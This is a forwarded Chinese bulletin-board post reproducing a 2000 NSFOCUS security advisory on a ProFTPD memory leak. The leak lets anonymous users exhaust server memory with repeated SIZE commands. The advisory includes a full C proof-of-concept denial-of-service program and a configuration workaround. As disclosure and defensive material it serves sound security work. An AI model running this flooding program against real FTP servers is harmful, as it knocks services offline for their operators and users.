荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: georgehill (New Century New Dream), 信区: Linux
标  题: Proftpd 内存泄漏/Dos程序(转寄)
发信站: BBS 荔园晨风站 (Sat Jan  6 15:08:47 2001), 站内信件

【 以下文字转载自 georgehill 的信箱 】
【 原文由 georgehill.bbs@smth.org 所发表 】
发信人: zixia (Do you zixia!?), 信区: Linux
标  题: Proftpd 内存泄漏/Dos程序(转寄)
发信站: BBS 水木清华站 (Fri Dec 22 20:55:17 2000)

-------------------------- eGroups Sponsor -------------------------~-~>
eGroups eLerts
It's Easy. It's Fun. Best of All, it's Free!
http://click.egroups.com/1/9698/0/_/_/_/977388073/
---------------------------------------------------------------------_->

发布日期: 2000-12-21

更新日期: 2000-12-21
受影响的系统:
proftd-1.2.0rc2(可能所有的proftpd都受此问题影响)

描述:
----------------------------------------------------------------------


Proftpd是一个流行的Ftp服务软件。它在执行SIZE命令时存在一个内存泄漏的
问题,攻击者可以利用此问题进行拒绝服务攻击。

如果执行5000条SIZE命令,将导致系统占用300KB内存。如果执行大量的SIZE
命令,将使内存耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可
进行这种攻击。

<*来源:Wojciech Purczynski   (wp@elzabsoft.pl)
        Piotr Zurawski [fb]   (szur@ix.renet.pl)
*>



测试程序:
----------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!




/* Proftpd DoS
* by Piotr Zurawski (szur@ix.renet.pl)
* This source is just an example of memory leakage in proftpd-1.2.0
(rc2)
* server discovered by Wojciech Purczynski.
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000

void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);

int main(int argc, char **argv)
{

if (!resolve(argv[1],&host))
     {
fprintf(stderr,"Hostname lookup failure\n");
exit(0);
     }

fd=tcp_connect(host,port);


logintoftp(fd);

printf("Logged\n");

sendsizes(fd);

printf("Now check out memory usage of proftpd daemon");
printf("Resident set size (RSS) and virtual memory size (VSIZE)");
printf("fields in ps output");
}

void logintoftp()
{

char snd[1024], rcv[1024];
int n;

printf("Logging " USERNAME  "/"  PASSWORD "\r\n");

memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", USERNAME);
write(fd, snd, strlen(snd));

while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)break;
}

memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", PASSWORD);
write(fd, snd, strlen(snd));

while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
  rcv[n] = 0;
  if(strchr(rcv, '\n') != NULL)
   break;
}
        return;
}

void sendsizes()
{
char snd[1024], rcv[1024];
unsigned long loop;

printf ("Sending %i size commands... \n", HOWMANY);

for(loop=0;loop<HOWMANY;loop++)
{
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha");
write(fd, snd, strlen(snd));
}

        return;
}

int tcp_connect(struct in_addr addr,unsigned short port)
{
int fd;

struct sockaddr_in serv;
bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;

if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\
{
  perror("socket");
  exit(0);
}

if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
{
   perror("connect");
   exit(0);
}

return(fd);
}

int resolve(char *hostname,struct in_addr *addr)
{
struct hostent *res;
res=gethostbyname(hostname);
if (res==NULL)
  return(0);
memcpy((char *)addr,res->h_addr,res->h_length);
return(1);

}


--------------------------------------------------------------------
建议:

临时解决方法:

Dmitry Alyabyev <dimitry@al.org.ua>提供了一个临时解决
方法,限制SIZE命令的使用,在配置文件中增加下列语句:

        <Limit SIZE>
               Deny All
        </Limit>

厂商补丁:

暂无。



中联绿盟翻译整理,未经许可,不得转载
欢迎访问我们的站点http://www.nsfocus.com/
中联绿盟给您安全的保障



To unsubscribe from this group, send an email to:
nsfocus-unsubscribe@egroups.com





--
正确的说法是什么呢?                         NT=No Thanks, WWW=World Wide Wait
Do you zixia!? http://zixia.net (Powered by GNU/Linux)
  Linux,RedHat发行 或 Linux,TLC发行。如果嫌长也可以说RedHat或TLC。
  说RedHat、TLC就别提Linux,要提Linux的名字就得说成Linux,RedHat发行。
  在这方面Debian和Slackware作的好,在政治上正确!
    Linux和自由软件是观念上的革命,它不是商业活动![题未明:
http://www.zixia.net]


※ 来源:·BBS 水木清华站 smth.org·[FROM: 166.111.170.40]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.115]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店